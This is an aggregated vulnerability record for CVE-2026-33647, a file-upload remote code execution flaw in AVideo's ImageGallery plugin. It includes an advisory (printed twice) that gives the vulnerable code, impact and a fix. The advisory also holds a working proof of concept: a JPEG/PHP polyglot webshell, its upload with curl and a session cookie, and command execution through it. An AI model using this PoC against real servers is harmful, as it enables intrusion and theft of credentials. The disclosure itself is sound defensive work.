{"id":"CVE-2026-33647","aliases":["EUVD-2026-14482","GHSA-wxjw-phj6-g75w"],"status":"published","title":"AVideo Vulnerable to Remote Code Execution via MIME/Extension Mismatch in ImageGallery File Upload","description":"WWBN AVideo is an open source video platform. In versions up to and including 26.0, the `ImageGallery::saveFile()` method validates uploaded file content using `finfo` MIME type detection but derives the saved filename extension from the user-supplied original filename without an allowlist check. An attacker can upload a polyglot file (valid JPEG magic bytes followed by PHP code) with a `.php` extension. The MIME check passes, but the file is saved as an executable `.php` file in a web-accessible directory, achieving Remote Code Execution. Commit 345a8d3ece0ad1e1b71a704c1579cbf885d8f3ae contains a patch.","severity":{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00665,"percentile":0.5224,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":false},"cwes":["CWE-434"],"published":"2026-03-23T18:23:20Z","modified":"2026-11-11T10:30:44Z","affected":[{"source":"ghsa","ecosystem":"Packagist","package":"wwbn/avideo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"26.0"}]}]},{"source":"osv","ecosystem":"Packagist","package":"wwbn/avideo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"26.0"}]}],"versions":["10.4","10.8","11","11.1","11.1.1","11.5","11.6","12.4","14.3","14.3.1","14.4","18.0","21.0","22.0","24.0","25.0","26.0"]}],"products":[{"vendor":"wwbn","product":"avideo"}],"references":[{"url":"https://github.com/WWBN/AVideo/security/advisories/GHSA-wxjw-phj6-g75w","tags":["x_refsource_CONFIRM","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://github.com/WWBN/AVideo/commit/345a8d3ece0ad1e1b71a704c1579cbf885d8f3ae","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33647","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-wxjw-phj6-g75w"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/33xxx/CVE-2026-33647.json","tags":["advisory"]},{"url":"https://github.com/WWBN/AVideo","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-33647","title":"AVideo Vulnerable to Remote Code Execution via MIME/Extension Mismatch in ImageGallery File Upload","description":"WWBN AVideo is an open source video platform. In versions up to and including 26.0, the `ImageGallery::saveFile()` method validates uploaded file content using `finfo` MIME type detection but derives the saved filename extension from the user-supplied original filename without an allowlist check. An attacker can upload a polyglot file (valid JPEG magic bytes followed by PHP code) with a `.php` extension. The MIME check passes, but the file is saved as an executable `.php` file in a web-accessible directory, achieving Remote Code Execution. Commit 345a8d3ece0ad1e1b71a704c1579cbf885d8f3ae contains a patch.","status":"published","published":"2026-03-23T18:23:20.079Z","modified":"2026-03-24T17:36:15.421Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"cna"}],"cwes":["CWE-434"],"updated_at":"2026-11-02T14:20:07.609948Z"}],"euvd":[{"id":"EUVD-2026-14482","description":"WWBN AVideo is an open source video platform. In versions up to and including 26.0, the `ImageGallery::saveFile()` method validates uploaded file content using `finfo` MIME type detection but derives the saved filename extension from the user-supplied original filename without an allowlist check. An attacker can upload a polyglot file (valid JPEG magic bytes followed by PHP code) with a `.php` extension. The MIME check passes, but the file is saved as an executable `.php` file in a web-accessible directory, achieving Remote Code Execution. Commit 345a8d3ece0ad1e1b71a704c1579cbf885d8f3ae contains a patch.","status":"published","published":"2026-03-23T18:23:20Z","modified":"2026-03-24T17:36:15Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T19:25:29.933437Z"}],"ghsa":[{"id":"GHSA-wxjw-phj6-g75w","title":"AVideo Vulnerable to Remote Code Execution via MIME/Extension Mismatch in ImageGallery File Upload","description":"## Summary\n\nThe `ImageGallery::saveFile()` method validates uploaded file content using `finfo` MIME type detection but derives the saved filename extension from the user-supplied original filename without an allowlist check. An attacker can upload a polyglot file (valid JPEG magic bytes followed by PHP code) with a `.php` extension. The MIME check passes, but the file is saved as an executable `.php` file in a web-accessible directory, achieving Remote Code Execution.\n\n## Details\n\nThe vulnerability exists in `plugin/ImageGallery/ImageGallery.php` in the `saveFile()` method:\n\n```php\n// plugin/ImageGallery/ImageGallery.php:80-108\nstatic function saveFile($file, $videos_id)\n{\n    $allowedMimeTypes = ['image/jpeg', 'image/webp', 'image/gif', 'image/png', 'video/mp4'];\n    $directory = self::getImageDir($videos_id);\n\n    // MIME check on file CONTENT — bypassable with polyglot\n    $finfo = new finfo(FILEINFO_MIME_TYPE);\n    $fileType = $finfo-\u003efile($file['tmp_name']);\n\n    if (in_array($fileType, $allowedMimeTypes)) {\n        // Extension from attacker-controlled filename — NO allowlist\n        $extension = strtolower(pathinfo($file['name'], PATHINFO_EXTENSION));\n        do {\n            $newFilename = uniqid() . '.' . $extension;\n            $newFilePath = $directory . $newFilename;\n        } while (file_exists($newFilePath));\n\n        move_uploaded_file($file['tmp_name'], $newFilePath);\n        // ...\n    }\n}\n```\n\n**Root cause:** Line 93 extracts the extension from the user-supplied `$file['name']` and uses it directly in the saved filename. There is no check against an allowlist of safe extensions (e.g., `jpg`, `png`, `gif`, `webp`, `mp4`).\n\n**Why the MIME check is insufficient:** PHP's `finfo` with `FILEINFO_MIME_TYPE` inspects file content magic bytes. A file starting with JPEG magic bytes (`\\xff\\xd8\\xff\\xe0`) is identified as `image/jpeg` regardless of trailing content. Appending PHP code after the JPEG header creates a polyglot that passes the MIME check but executes as PHP when requested via the web server.\n\n**Why no server-level protection exists:** The root `.htaccess` at line 73 blocks dangerous extensions but uses the pattern `php[a-z0-9]+` — which matches `.php5`, `.phtml`, `.phar`, etc., but intentionally does **not** match plain `.php` (since the application itself requires PHP execution). There is no `.htaccess` in the `videos/` directory to disable PHP execution in the upload target.\n\n**Upload path:** Files are saved to `videos/{videoFilename}/ImageGallery/{uniqid}.php` — directly accessible via the web server.\n\nThe upload endpoint at `plugin/ImageGallery/upload.json.php` requires:\n1. The ImageGallery plugin to be enabled (line 6-8)\n2. An authenticated user (line 10-12)\n3. The user must have manage permission on the video (line 18-20) — video owner or admin\n\nThe response at line 27 calls `listFiles()` which returns the full URL of each uploaded file, giving the attacker the exact path to their webshell.\n\n## PoC\n\n**Prerequisites:** Authenticated AVideo user account that owns at least one Image or Gallery type video.\n\n**Step 1: Create a polyglot PHP/JPEG file**\n```bash\nprintf '\\xff\\xd8\\xff\\xe0\\x00\\x10JFIF' \u003e shell.php\necho '\u003c?php if(isset($_GET[\"c\"])){system($_GET[\"c\"]);} ?\u003e' \u003e\u003e shell.php\n```\n\n**Step 2: Verify it passes finfo detection**\n```bash\nfile --mime-type shell.php\n# Expected output: shell.php: image/jpeg\n```\n\n**Step 3: Upload via ImageGallery endpoint**\n```bash\ncurl -b 'PHPSESSID=\u003csession_cookie\u003e' \\\n  -F \"upl=@shell.php;filename=shell.php\" \\\n  'https://target/plugin/ImageGallery/upload.json.php?videos_id=\u003cVIDEO_ID\u003e'\n```\n\n**Expected response:**\n```json\n{\n  \"videos_id\": \"123\",\n  \"saveFile\": true,\n  \"error\": false,\n  \"list\": [\n    {\n      \"base\": \"67890abcdef12.php\",\n      \"type\": \"image/jpeg\",\n      \"url\": \"https://target/videos/video_filename/ImageGallery/67890abcdef12.php\"\n    }\n  ]\n}\n```\n\n**Step 4: Execute the webshell**\n```bash\ncurl 'https://target/videos/video_filename/ImageGallery/67890abcdef12.php?c=id'\n# Expected output: uid=33(www-data) gid=33(www-data) groups=33(www-data)\n```\n\n## Impact\n\nAn authenticated user with edit permission on any Image/Gallery video can achieve **Remote Code Execution** as the web server user. This allows:\n\n- Reading sensitive configuration files (database credentials in `videos/configuration.php`)\n- Full database access via the database credentials\n- Reading/modifying/deleting any file accessible to the web server process\n- Lateral movement within the server's network\n- Potential privilege escalation depending on server configuration\n\nAny AVideo instance with the ImageGallery plugin enabled and user registration open is vulnerable. Since regular (non-admin) users can exploit this against their own videos, the barrier to exploitation is low.\n\n## Recommended Fix\n\nAdd an extension allowlist check in `saveFile()` immediately after extracting the extension. The extension should be validated against the same set of types as the MIME allowlist:\n\n```php\n// plugin/ImageGallery/ImageGallery.php — in saveFile(), after line 93\nstatic function saveFile($file, $videos_id)\n{\n    $allowedMimeTypes = ['image/jpeg', 'image/webp', 'image/gif', 'image/png', 'video/mp4'];\n+   $allowedExtensions = ['jpg', 'jpeg', 'webp', 'gif', 'png', 'mp4'];\n\n    $directory = self::getImageDir($videos_id);\n\n    $finfo = new finfo(FILEINFO_MIME_TYPE);\n    $fileType = $finfo-\u003efile($file['tmp_name']);\n\n    if (in_array($fileType, $allowedMimeTypes)) {\n        $extension = strtolower(pathinfo($file['name'], PATHINFO_EXTENSION));\n+       if (!in_array($extension, $allowedExtensions)) {\n+           return false;\n+       }\n        do {\n            $newFilename = uniqid() . '.' . $extension;\n```\n\nAdditionally, as defense-in-depth, add a `.htaccess` file to the `videos/` directory to disable PHP execution:\n\n```apache\n# videos/.htaccess\nphp_flag engine off\n\u003cFilesMatch \"\\.php$\"\u003e\n    Require all denied\n\u003c/FilesMatch\u003e\n```","status":"published","published":"2026-03-25T17:45:40Z","modified":"2026-03-25T17:45:41Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-434"],"updated_at":"2026-11-02T14:39:41.724707Z"}],"nvd":[{"id":"CVE-2026-33647","description":"WWBN AVideo is an open source video platform. In versions up to and including 26.0, the `ImageGallery::saveFile()` method validates uploaded file content using `finfo` MIME type detection but derives the saved filename extension from the user-supplied original filename without an allowlist check. An attacker can upload a polyglot file (valid JPEG magic bytes followed by PHP code) with a `.php` extension. The MIME check passes, but the file is saved as an executable `.php` file in a web-accessible directory, achieving Remote Code Execution. Commit 345a8d3ece0ad1e1b71a704c1579cbf885d8f3ae contains a patch.","status":"published","published":"2026-03-23T19:16:40.75Z","modified":"2026-06-17T10:37:50.607Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"secondary"}],"cwes":["CWE-434"],"updated_at":"2026-11-02T14:12:10.568062Z"}],"osv":[{"id":"CVE-2026-33647","title":"AVideo Vulnerable to Remote Code Execution via MIME/Extension Mismatch in ImageGallery File Upload","description":"WWBN AVideo is an open source video platform. In versions up to and including 26.0, the `ImageGallery::saveFile()` method validates uploaded file content using `finfo` MIME type detection but derives the saved filename extension from the user-supplied original filename without an allowlist check. An attacker can upload a polyglot file (valid JPEG magic bytes followed by PHP code) with a `.php` extension. The MIME check passes, but the file is saved as an executable `.php` file in a web-accessible directory, achieving Remote Code Execution. Commit 345a8d3ece0ad1e1b71a704c1579cbf885d8f3ae contains a patch.","status":"published","published":"2026-03-23T18:23:20.079Z","modified":"2026-11-11T10:30:44.043482863Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-434"],"updated_at":"2026-11-11T11:06:44.221111Z"},{"id":"GHSA-wxjw-phj6-g75w","title":"AVideo Vulnerable to Remote Code Execution via MIME/Extension Mismatch in ImageGallery File Upload","description":"## Summary\n\nThe `ImageGallery::saveFile()` method validates uploaded file content using `finfo` MIME type detection but derives the saved filename extension from the user-supplied original filename without an allowlist check. An attacker can upload a polyglot file (valid JPEG magic bytes followed by PHP code) with a `.php` extension. The MIME check passes, but the file is saved as an executable `.php` file in a web-accessible directory, achieving Remote Code Execution.\n\n## Details\n\nThe vulnerability exists in `plugin/ImageGallery/ImageGallery.php` in the `saveFile()` method:\n\n```php\n// plugin/ImageGallery/ImageGallery.php:80-108\nstatic function saveFile($file, $videos_id)\n{\n    $allowedMimeTypes = ['image/jpeg', 'image/webp', 'image/gif', 'image/png', 'video/mp4'];\n    $directory = self::getImageDir($videos_id);\n\n    // MIME check on file CONTENT — bypassable with polyglot\n    $finfo = new finfo(FILEINFO_MIME_TYPE);\n    $fileType = $finfo-\u003efile($file['tmp_name']);\n\n    if (in_array($fileType, $allowedMimeTypes)) {\n        // Extension from attacker-controlled filename — NO allowlist\n        $extension = strtolower(pathinfo($file['name'], PATHINFO_EXTENSION));\n        do {\n            $newFilename = uniqid() . '.' . $extension;\n            $newFilePath = $directory . $newFilename;\n        } while (file_exists($newFilePath));\n\n        move_uploaded_file($file['tmp_name'], $newFilePath);\n        // ...\n    }\n}\n```\n\n**Root cause:** Line 93 extracts the extension from the user-supplied `$file['name']` and uses it directly in the saved filename. There is no check against an allowlist of safe extensions (e.g., `jpg`, `png`, `gif`, `webp`, `mp4`).\n\n**Why the MIME check is insufficient:** PHP's `finfo` with `FILEINFO_MIME_TYPE` inspects file content magic bytes. A file starting with JPEG magic bytes (`\\xff\\xd8\\xff\\xe0`) is identified as `image/jpeg` regardless of trailing content. Appending PHP code after the JPEG header creates a polyglot that passes the MIME check but executes as PHP when requested via the web server.\n\n**Why no server-level protection exists:** The root `.htaccess` at line 73 blocks dangerous extensions but uses the pattern `php[a-z0-9]+` — which matches `.php5`, `.phtml`, `.phar`, etc., but intentionally does **not** match plain `.php` (since the application itself requires PHP execution). There is no `.htaccess` in the `videos/` directory to disable PHP execution in the upload target.\n\n**Upload path:** Files are saved to `videos/{videoFilename}/ImageGallery/{uniqid}.php` — directly accessible via the web server.\n\nThe upload endpoint at `plugin/ImageGallery/upload.json.php` requires:\n1. The ImageGallery plugin to be enabled (line 6-8)\n2. An authenticated user (line 10-12)\n3. The user must have manage permission on the video (line 18-20) — video owner or admin\n\nThe response at line 27 calls `listFiles()` which returns the full URL of each uploaded file, giving the attacker the exact path to their webshell.\n\n## PoC\n\n**Prerequisites:** Authenticated AVideo user account that owns at least one Image or Gallery type video.\n\n**Step 1: Create a polyglot PHP/JPEG file**\n```bash\nprintf '\\xff\\xd8\\xff\\xe0\\x00\\x10JFIF' \u003e shell.php\necho '\u003c?php if(isset($_GET[\"c\"])){system($_GET[\"c\"]);} ?\u003e' \u003e\u003e shell.php\n```\n\n**Step 2: Verify it passes finfo detection**\n```bash\nfile --mime-type shell.php\n# Expected output: shell.php: image/jpeg\n```\n\n**Step 3: Upload via ImageGallery endpoint**\n```bash\ncurl -b 'PHPSESSID=\u003csession_cookie\u003e' \\\n  -F \"upl=@shell.php;filename=shell.php\" \\\n  'https://target/plugin/ImageGallery/upload.json.php?videos_id=\u003cVIDEO_ID\u003e'\n```\n\n**Expected response:**\n```json\n{\n  \"videos_id\": \"123\",\n  \"saveFile\": true,\n  \"error\": false,\n  \"list\": [\n    {\n      \"base\": \"67890abcdef12.php\",\n      \"type\": \"image/jpeg\",\n      \"url\": \"https://target/videos/video_filename/ImageGallery/67890abcdef12.php\"\n    }\n  ]\n}\n```\n\n**Step 4: Execute the webshell**\n```bash\ncurl 'https://target/videos/video_filename/ImageGallery/67890abcdef12.php?c=id'\n# Expected output: uid=33(www-data) gid=33(www-data) groups=33(www-data)\n```\n\n## Impact\n\nAn authenticated user with edit permission on any Image/Gallery video can achieve **Remote Code Execution** as the web server user. This allows:\n\n- Reading sensitive configuration files (database credentials in `videos/configuration.php`)\n- Full database access via the database credentials\n- Reading/modifying/deleting any file accessible to the web server process\n- Lateral movement within the server's network\n- Potential privilege escalation depending on server configuration\n\nAny AVideo instance with the ImageGallery plugin enabled and user registration open is vulnerable. Since regular (non-admin) users can exploit this against their own videos, the barrier to exploitation is low.\n\n## Recommended Fix\n\nAdd an extension allowlist check in `saveFile()` immediately after extracting the extension. The extension should be validated against the same set of types as the MIME allowlist:\n\n```php\n// plugin/ImageGallery/ImageGallery.php — in saveFile(), after line 93\nstatic function saveFile($file, $videos_id)\n{\n    $allowedMimeTypes = ['image/jpeg', 'image/webp', 'image/gif', 'image/png', 'video/mp4'];\n+   $allowedExtensions = ['jpg', 'jpeg', 'webp', 'gif', 'png', 'mp4'];\n\n    $directory = self::getImageDir($videos_id);\n\n    $finfo = new finfo(FILEINFO_MIME_TYPE);\n    $fileType = $finfo-\u003efile($file['tmp_name']);\n\n    if (in_array($fileType, $allowedMimeTypes)) {\n        $extension = strtolower(pathinfo($file['name'], PATHINFO_EXTENSION));\n+       if (!in_array($extension, $allowedExtensions)) {\n+           return false;\n+       }\n        do {\n            $newFilename = uniqid() . '.' . $extension;\n```\n\nAdditionally, as defense-in-depth, add a `.htaccess` file to the `videos/` directory to disable PHP execution:\n\n```apache\n# videos/.htaccess\nphp_flag engine off\n\u003cFilesMatch \"\\.php$\"\u003e\n    Require all denied\n\u003c/FilesMatch\u003e\n```","status":"published","published":"2026-03-25T17:45:40Z","modified":"2026-03-25T18:11:20.558817Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-434"],"updated_at":"2026-11-02T15:46:59.131095Z"}]}}
